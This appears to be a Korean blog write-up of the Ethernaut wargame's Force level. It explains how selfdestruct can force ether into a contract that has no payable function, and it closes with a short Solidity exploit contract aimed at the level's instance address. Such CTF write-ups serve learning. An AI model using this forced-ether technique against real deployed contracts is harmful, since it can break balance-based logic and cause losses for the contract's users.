// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
Some contracts will simply not take your money ¯\_(ツ)_/¯
The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
Fallback methods
Sometimes the best way to attack a contract is with another contract.
See the "?" page above, section "Beyond the console"
이더넛 7단계 문제이다.
음.. 진짜 문제이다.. ㅋㅋㅋ
문제 코드 안에 아무런 과정도 없을 줄이야.. 문제 목표는 해당 컨트랙트의 잔액을 0 이상으로 만드는 것이 목표이다. 아무래도 selfdestruct 함수를 통한 강제 이더 전송이 필요할 거 같다.
selfdestruct 함수는 자신의 컨트랙트를 붕괴시키고 비활성화 시킨 뒤 이더를 강제 전송하는 기능을 가진 함수이다. 해당 함수는 아마(?) 컨트랙트를 업데이트 하고 안에 있는 자산을 전부 옮길 때 필요한 함수였던거 같은데 해당 함수로 이더를 강제 전송할 수 있게 되었다.
selfdestruct 함수를 이용한 최종 익스플로잇 코드이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
contract Exploit {
constructor() payable {}
function exploit() public payable{
selfdestruct(payable(0x96B77Ee3304eeCFaB1782D423f052F3cb2960d03));
}
}
msg.value 값에 1 Wei를 넣고 트랜잭션을 시도했더니 성공적으로 문제를 풀 수 있었다.
🚩
'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글
Ethernaut - 9단계 (King) (0) | 2023.11.08 |
---|---|
Ethernaut - 8단계 (Vault) (0) | 2023.11.08 |
Ethernaut - 6단계 (Delegation) (0) | 2023.11.07 |
Ethernaut - 5단계 (Token) (0) | 2023.11.07 |
Ethernaut - 4단계 (Telephone) (0) | 2023.11.07 |